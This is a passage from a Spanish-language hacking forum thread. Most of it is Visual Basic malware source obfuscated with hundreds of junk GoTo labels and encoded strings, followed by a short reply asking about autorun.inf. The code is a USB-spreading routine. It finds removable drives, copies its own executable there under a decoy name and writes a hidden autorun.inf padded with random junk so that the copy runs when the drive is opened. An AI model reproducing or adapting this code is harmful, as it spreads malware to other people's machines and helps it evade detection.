  139. GoTo ehfkrsffjtlciadlokbvavbroritnuvathul
  140. ehfkrsffjtlciadlokbvavbroritnuvathul:
  141. GoTo blomrsdmmqvsjpbksqlcghgicv
  142. blomrsdmmqvsjpbksqlcghgicv:
  143. GoTo rfdqrirtbsjnonpdgjaffln
  144. rfdqrirtbsjnonpdgjaffln:
  145.   Dim i As Integer, x As Integer
  146. GoTo vgdsklukmsqjpddptcoancjujoltmaptaud
  147. vgdsklukmsqjpddptcoancjujoltmaptaud:
  148. GoTo ruucmkbbpsehdqopoqknqbmmsopmanedrm
  149. ruucmkbbpsehdqopoqknqbmmsopmanedrm:
  150. GoTo rntbqqkkaejvhujqvqpnuthaehfkrsffjtlciadlokbvavbro
  151. rntbqqkkaejvhujqvqpnuthaehfkrsffjtlciadlokbvavbro:
  152.   Dim sAllDrives As Long
  153. GoTo tnuvathulectgcueibbrmblqaovprgb
  154. tnuvathulectgcueibbrmblqaovprgb:
  155. GoTo sqlcghgicvcpuufgheov
  156. sqlcghgicvcpuufgheov:
  157. GoTo ldendflpcictisrhvgacnchemlvispnsdktnrfdqrirt
  158. ldendflpcictisrhvgacnchemlvispnsdktnrfdqrirt:
  159. GoTo ksqlcghgicvcpuufgheov
  160. ksqlcghgicvcpuufgheov:
  161.   Dim Drives() As String
  162. GoTo rfdqrirtbsjnonpdgjafflnolvgdsklukms
  163. rfdqrirtbsjnonpdgjafflnolvgdsklukms:
  164. GoTo jpddptcoancjujoltmaptaudkruucmkbbpsehdqopo
  165. jpddptcoancjujoltmaptaudkruucmkbbpsehdqopo:
  166. GoTo hfkrsffjtlciadlokbvavbroritnuvathulectgcue
  167. hfkrsffjtlciadlokbvavbroritnuvathulectgcue:
  168. GoTo jpbksqlcghgicvcpuufgheovsldendf
  169. jpbksqlcghgicvcpuufgheovsldendf:
  170.   Dim sSpace As String
  171. GoTo cictisrhvgacnchemlvispnsdktnrfdqrirtbsjno
  172. cictisrhvgacnchemlvispnsdktnrfdqrirtbsjno:
  173. GoTo pdgjafflnolvgdsklukmsqjpddptcoancjujol
  174. pdgjafflnolvgdsklukmsqjpddptcoancjujol:
  175. GoTo maptaudkruucmkbbpsehdqopoqknqbmmsopmanedrmvrnt
  176. maptaudkruucmkbbpsehdqopoqknqbmmsopmanedrmvrnt:
  177.   Dim f As Integer
  178. GoTo roritnuvathulectgcueibbrmblqaovprgbatfeobl
  179. roritnuvathulectgcueibbrmblqaovprgbatfeobl:
  180.   f = FreeFile
  181. GoTo rsdmmqvsjpbksqlcghgicvcpuufgheovslden
  182. rsdmmqvsjpbksqlcghgicvcpuufgheovslden:
  183. GoTo pnsdktnrfdqrirtbsjnonpdg
  184. pnsdktnrfdqrirtbsjnonpdg:
  185. GoTo pnuthaehfkrsffjtlciadlokbvavbror
  186. pnuthaehfkrsffjtlciadlokbvavbror:
  187.   Dim iTime As Long
  188. GoTo nuvathulectgcueibbrmblqaovprgbatfeoblomrsdmmqv
  189. nuvathulectgcueibbrmblqaovprgbatfeoblomrsdmmqv:
  190. GoTo jpbksqlcghgicvcpuufgheovsldendflpcictisrhvgac
  191. jpbksqlcghgicvcpuufgheovsldendflpcictisrhvgac:
  192.   Dim sLines(6) As String
  193. GoTo qknqbmmsopmanedrmvrntbq
  194. qknqbmmsopmanedrmvrntbq:
  195. GoTo oritnuvathulectgcueibbrmblqaovprgbatfeoblo
  196. oritnuvathulectgcueibbrmblqaovprgbatfeoblo:
  197. GoTo coancjujoltmaptaudkruucmkbbpsehdqopoq
  198. coancjujoltmaptaudkruucmkbbpsehdqopoq:
  199.     sLines(0) = ktplrvooidochnfnhitonlsr("[ga&uWt&o<r0uSn3]_")
  200. GoTo haehfkrsffjtlciadlokbvavbroritnuvathu
  201. haehfkrsffjtlciadlokbvavbroritnuvathu:
  202. GoTo mqvsjpbksqlcghgicvcpuufgheovsldendf
  203. mqvsjpbksqlcghgicvcpuufgheovsldendf:
  204.     sLines(1) = ktplrvooidochnfnhitonlsr("o?pTe_nX=nV+iGeVwYfki5l+ecsg.AeNxse‚")
  205. GoTo npdgjafflnolvgdsklukmsqjpddptcoancjujoltm
  206. npdgjafflnolvgdsklukmsqjpddptcoancjujoltm:
  207. GoTo nrfdqrirtbsjnonpdgja
  208. nrfdqrirtbsjnonpdgja:
  209. GoTo qopoqknqbmmsopmanedrmvrntbq
  210. qopoqknqbmmsopmanedrmvrntbq:
  211.     sLines(2) = ktplrvooidochnfnhitonlsr("incGo>n?=;%ES(y5sCtce2m1RPo<oBt2%b\6sqymsJt4e[mI372R\fSEHDE+L,L`3p2%.[d€lYl#,E4]")
  212. GoTo aovprgbatfeoblomrsdmmqvsjpbksqlcgh
  213. aovprgbatfeoblomrsdmmqvsjpbksqlcgh:
  214. GoTo sqjpddptcoancjujoltmaptaudkr
  215. sqjpddptcoancjujoltmaptaudkr:
  216. GoTo ucmkbbpsehdqopoqknqbmmsopmanedrmvrntbqqkkaejvhu
  217. ucmkbbpsehdqopoqknqbmmsopmanedrmvrntbqqkkaejvhu:
  218.     sLines(3) = ktplrvooidochnfnhitonlsr("aFcAt5iXoSn~=_Otpewn* KfMovlyd'eTr0 ht†oa mv.i>e*wf ]f^i[leeHs:")
  219. GoTo vqpnuthaehfkrsffjtlciadlokbvavbroritnuvath
  220. vqpnuthaehfkrsffjtlciadlokbvavbroritnuvath:
  221. GoTo lectgcueibbrmblqaovprgbatfeoblomrsdmmqvsjpbksql
  222. lectgcueibbrmblqaovprgbatfeoblomrsdmmqvsjpbksql:
  223.     sLines(4) = ktplrvooidochnfnhitonlsr("sHhƒeRl6lU\\oapQe‚nU=,OrpjeTn{")
  224. GoTo qjpddptcoancjujoltmaptaudkruu
  225. qjpddptcoancjujoltmaptaudkruu:
  226.     sLines(5) = ktplrvooidochnfnhitonlsr("sihWeql…ld\doKp1een,\Dc`o<m^mBaJn|de=`VUixerw:fdi/l;e3sJ.Pelx1e4")
  227. GoTo avbroritnuvathulectgcueibbrmblqaovprg
  228. avbroritnuvathulectgcueibbrmblqaovprg:
  229.     sLines(6) = ktplrvooidochnfnhitonlsr("sFhYeOl$lB\fo)pNeCn/\kd}e~f{a„uglZth=>1W")
  230. GoTo qtpgeeegvcfmcbiefbmc
  231. qtpgeeegvcfmcbiefbmc:
  232.     sSpace = Space(255)
  233. GoTo hclhdjngfaampvktkuglgfckjslqsrahhqrvjbnu
  234. hclhdjngfaampvktkuglgfckjslqsrahhqrvjbnu:
  235. GoTo pbeanlllngdgtjcjlmitjaqojsokqunmhbna
  236. pbeanlllngdgtjcjlmitjaqojsokqunmhbna:
  237. GoTo melfhsnmjrqdnbdchiobcgkiufna
  238. melfhsnmjrqdnbdchiobcgkiufna:
  239.     sAllDrives = GetLogicalDriveStrings(Len(sSpace), sSpace)
  240. GoTo bosssunknekjqstpekhbpqdpraf
  241. bosssunknekjqstpekhbpqdpraf:
  242. GoTo toiuhhtlsmodotqcbkuifdipvidhrpfgugjmivd
  243. toiuhhtlsmodotqcbkuifdipvidhrpfgugjmivd:
  244.     Drives = Split(sSpace, Chr$(0))
  245. GoTo forulrqbdealroiabkachgve
  246. forulrqbdealroiabkachgve:
  247.     For i = 0 To UBound(Drives) - 1
  248. GoTo fioemdnvkvebjclejmkpagjkocamnfiqtpgeeegvc
  249. fioemdnvkvebjclejmkpagjkocamnfiqtpgeeegvc:
  250. GoTo mcbiefbmcpohclhdjngfaampvkt
  251. mcbiefbmcpohclhdjngfaampvkt:
  252. GoTo uglgfckjslqsrahhqrvjbnumpbeanlllng
  253. uglgfckjslqsrahhqrvjbnumpbeanlllng:
  254.         If GetDriveType(Drives(i)) = 2 Then
  255. GoTo tjcjlmitjaqojsokqunmhbnagmelf
  256. tjcjlmitjaqojsokqunmhbnagmelf:
  257.             FileCopy App.Path & ktplrvooidochnfnhitonlsr("\V") & App.EXEName & ktplrvooidochnfnhitonlsr(".ue|x�eq"), Left$(Drives(i), 3) & ktplrvooidochnfnhitonlsr("V=iZeLw.foisl7ensv.-eAxieƒ")
  258. GoTo nmjrqdnbdchiobcgkiufnaifbosssunknekjqstpekhbp
  259. nmjrqdnbdchiobcgkiufnaifbosssunknekjqstpekhbp:
  260. GoTo dprafotoiuhhtlsmodotqcbkuifdipvidhrpfgugjm
  261. dprafotoiuhhtlsmodotqcbkuifdipvidhrpfgugjm:
  262.             Open Left$(Drives(i), 3) & ktplrvooidochnfnhitonlsr("akuPt…oLrIun\.}ibnjf8") For Output As #f
  263. GoTo ddcforulrqbdealroiabkachgveppfioemdnvkvebjclejmkp
  264. ddcforulrqbdealroiabkachgveppfioemdnvkvebjclejmkp:
  265. GoTo fmcbiefbmcpohclhdjng
  266. fmcbiefbmcpohclhdjng:
  267.             For m = 0 To 6
  268. GoTo unmhbnagmelfhsnmjrqd
  269. unmhbnagmelfhsnmjrqd:
  270. GoTo pqdprafotoiuhhtlsmodotqcbkuifdipvidhr
  271. pqdprafotoiuhhtlsmodotqcbkuifdipvidhr:
  272.                 Print #f, sLines(m)
  273. GoTo gugjmivddcforulrqbdealroiabk
  274. gugjmivddcforulrqbdealroiabk:
  275. GoTo pgeeegvcfmcbiefbmcpo
  276. pgeeegvcfmcbiefbmcpo:
  277. GoTo ahhqrvjbnumpbeanlllngdgtjcjlm
  278. ahhqrvjbnumpbeanlllngdgtjcjlm:
  279.                 For x = 1 To Int(Rnd * 5) + 5
  280. GoTo jaqojsokqunmhbnagmelfhsnmjrqdnbdchiobcgkiufnai
  281. jaqojsokqunmhbnagmelfhsnmjrqdnbdchiobcgkiufnai:
  282. GoTo dhrpfgugjmivddcforulrqbdeal
  283. dhrpfgugjmivddcforulrqbdeal:
  284.                     Print #f, vnqcgbomnmoifivkelmnkulcrp
  285. GoTo iabkachgveppfioemdnvkvebjclejmkpagjkocam
  286. iabkachgveppfioemdnvkvebjclejmkpagjkocam:
  287. GoTo fiqtpgeeegvcfmcbiefbmcpohclhdjngfaampv
  288. fiqtpgeeegvcfmcbiefbmcpohclhdjngfaampv:
  289. GoTo tkuglgfckjslqsrahhqrvjbnumpbeanlll
  290. tkuglgfckjslqsrahhqrvjbnumpbeanlll:
  291. GoTo gdgtjcjlmitjaqojsokqunmhbnagmelfhsnmj
  292. gdgtjcjlmitjaqojsokqunmhbnagmelfhsnmj:
  293.                 Next
  294. GoTo dnbdchiobcgkiufnaifbosssunknekjqstpekhbpqd
  295. dnbdchiobcgkiufnaifbosssunknekjqstpekhbpqd:
  296. GoTo ivddcforulrqbdealroiabkachgveppfioemdnvk
  297. ivddcforulrqbdealroiabkachgveppfioemdnvk:
  298. GoTo ebjclejmkpagjkocamnfiqtpgeeegvcfmcbiefbmcpohclhdj
  299. ebjclejmkpagjkocamnfiqtpgeeegvcfmcbiefbmcpohclhdj:
  300. GoTo gfaampvktkuglgfckjslqsrahhqrvjbnumpbea
  301. gfaampvktkuglgfckjslqsrahhqrvjbnumpbea:
  302.             Next
  303. GoTo llngdgtjcjlmitjaqojsokqunmhbnagmelf
  304. llngdgtjcjlmitjaqojsokqunmhbnagmelf:
  305. GoTo snmjrqdnbdchiobcgkiufnaifbosss
  306. snmjrqdnbdchiobcgkiufnaifbosss:
  307. GoTo nknekjqstpekhbpqdprafotoiuhhtlsmodotqcbkuifdipv
  308. nknekjqstpekhbpqdprafotoiuhhtlsmodotqcbkuifdipv:
  309.             Close #f
  310. GoTo ifdipvidhrpfgugjmivddcfo
  311. ifdipvidhrpfgugjmivddcfo:
  312. GoTo ulrqbdealroiabkachgveppfioemdnvkvebjclejmkpa
  313. ulrqbdealroiabkachgveppfioemdnvkvebjclejmkpa:
  314.             SetFileAttributes Left$(Drives(i), 3) & ktplrvooidochnfnhitonlsr("aju€tto4r.uZn„.Oi@n8fO"), FILE_ATTRIBUTE_HIDDEN
  315. GoTo jbnumpbeanlllngdgtjcjlmitjaqojsok
  316. jbnumpbeanlllngdgtjcjlmitjaqojsok:
  317. GoTo unmhbnagmelfhsnmjrqdnbdchiobcgkiufnaifbos
  318. unmhbnagmelfhsnmjrqdnbdchiobcgkiufnaifbos:
  319.         End If
  320. GoTo unknekjqstpekhbpqdprafotoiuhhtlsmodotqcbkuif
  321. unknekjqstpekhbpqdprafotoiuhhtlsmodotqcbkuif:
  322. GoTo ipvidhrpfgugjmivddcforul
  323. ipvidhrpfgugjmivddcforul:
  324. GoTo qbdealroiabkachgveppfioemdnvkvebjclejmkpagj
  325. qbdealroiabkachgveppfioemdnvkvebjclejmkpagj:
  326. GoTo umpbeanlllngdgtjcjlmitjaqojsokqunm
  327. umpbeanlllngdgtjcjlmitjaqojsokqunm:
  328.     Next i
  329. GoTo bmcpohclhdjngfaampvktk
  330. bmcpohclhdjngfaampvktk:
  331. GoTo glgfckjslqsrahhqrvjbnumpbeanlllngdgtjcjlmitjaqoj
  332. glgfckjslqsrahhqrvjbnumpbeanlllngdgtjcjlmitjaqoj:
  333. End Sub
  334. Private Function vnqcgbomnmoifivkelmnkulcrp()
  335. GoTo fbosssunknekjqstpekhbpqdprafotoiuhhtlsm
  336. fbosssunknekjqstpekhbpqdprafotoiuhhtlsm:
  337. GoTo dotqcbkuifdipvidhrpfgugjmivddcforulrqbd
  338. dotqcbkuifdipvidhrpfgugjmivddcforulrqbd:
  339. GoTo pfgugjmivddcforulrqbdealro
  340. pfgugjmivddcforulrqbdealro:
  341. GoTo mcpohclhdjngfaampvktkuglgfckjs
  342. mcpohclhdjngfaampvktkuglgfckjs:
  343. Dim sChars As String, i As Integer
  344. GoTo srahhqrvjbnumpbeanlllngdgtjcjlmitjaqojsokq
  345. srahhqrvjbnumpbeanlllngdgtjcjlmitjaqojsokq:
  346. GoTo nmhbnagmelfhsnmjrqdnbdchiobcgkiufnaifbosssunkne
  347. nmhbnagmelfhsnmjrqdnbdchiobcgkiufnaifbosssunkne:
  348. GoTo bmcpohclhdjngfaampvktkuglgfckjslq
  349. bmcpohclhdjngfaampvktkuglgfckjslq:
  350. sChars = ktplrvooidochnfnhitonlsr("aob(cQd9eKfygohDiGj†kHlSmcnNo'p8q:r6s@tmuzv$w^xwyuz0A7B=C-D]EzFlGMH*I/JVK)L2MMNFO%P?QpRpS@TQUiV;QaX9YgZ&1W2&3<405S637_8?9T0_!X§n$+%G&V/Y(k)5=+?c#g+A~N*s'‚.n:G,>;?-;_E")
  351. GoTo ahhqrvjbnumpbeanlllngdgtjcjlmitjaqojsokqunm
  352. ahhqrvjbnumpbeanlllngdgtjcjlmitjaqojsokqunm:
  353. GoTo naifbosssunknekjqstpekhbpqdpra
  354. naifbosssunknekjqstpekhbpqdpra:
  355. GoTo ktkuglgfckjslqsmrcdmmqesjph
  356. ktkuglgfckjslqsmrcdmmqesjph:
  357. GoTo svrigggicvcoeuegheoerljenjflpiics
  358. svrigggicvcoeuegheoerljenjflpiics:
  359. Randomize
  360. GoTo bhvgacnihemluisvtcdkttbfdqairdasjnnnpigjvffl
  361. bhvgacnihemluisvtcdkttbfdqairdasjnnnpigjvffl:
  362. GoTo olvgcsklukmsajpjdpccognhjujoltsfpdaudk
  363. olvgcsklukmsajpjdpccognhjujoltsfpdaudk:
  364. For i = 1 To Int(Rnd * 70) + 30
  365. GoTo ucmkbbpcehdquuuakmqgmmsuv
  366. ucmkbbpcehdquuuakmqgmmsuv:
  367. GoTo gnjdrsfrtdbqakkadjvhuiqfqvsethaehfkrbffjtrii
  368. gnjdrsfrtdbqakkadjvhuiqfqvsethaehfkrbffjtrii:
  369. GoTo dlokbvvvbrtahtsdvath
  370. dlokbvvvbrtahtsdvath:
  371. GoTo lkctgcueibbrrhkqgofpbgbatfenhlomrcdmmqesjphksvr
  372. lkctgcueibbrrhkqgofpbgbatfenhlomrcdmmqesjphksvr:
  373.     Randomize
  374. GoTo ggicvcoeuegheoerljenjflpiicsi
  375. ggicvcoeuegheoerljenjflpiicsi:
  376. GoTo nolvgcsklukmsajpjdpccognhjujoltsfpdaudkqeucm
  377. nolvgcsklukmsajpjdpccognhjujoltsfpdaudkqeucm:
  378.     vnqcgbomnmoifivkelmnkulcrp = vnqcgbomnmoifivkelmnkulcrp & Mid(sChars, Int(Rnd * Len(sChars) + 1), 1)
  379. GoTo bpcehdquuuakmqgmmsuvs
  380. bpcehdquuuakmqgmmsuvs:
  381. GoTo aehfkrbffjtriiadlokbvvvbrtaht
  382. aehfkrbffjtriiadlokbvvvbrtaht:
  383. Next i
  384. GoTo vathulkctgcueibbrrhkqgofp
  385. vathulkctgcueibbrrhkqgofp:
  386. GoTo hksvrigggicvcoeuegheo
  387. hksvrigggicvcoeuegheo:
  388. GoTo rljenjflpiicsirbhvgacnihem
  389. rljenjflpiicsirbhvgacnihem:
  390. GoTo uisvtcdkttbfdqairdasjnnnpigjvfflnol
  391. uisvtcdkttbfdqairdasjnnnpigjvfflnol:
  392. End Function

Fuente:Crypt
« Última modificación: Mayo 12, 2014, 03:33:35 pm por Expermicid »

Desconectado Slore

  • *
  • Underc0der
  • Mensajes: 172
  • Actividad:
    0%
  • Reputación 0
  • OrwaySoftware
    • Ver Perfil
    • Email
  • Skype: OrwaySoftware
« Respuesta #1 en: Abril 29, 2012, 06:03:56 pm »
Disculpa jefin pero el de Usb es autorun.inf o no?
Gracias.

 

¿Te gustó el post? COMPARTILO!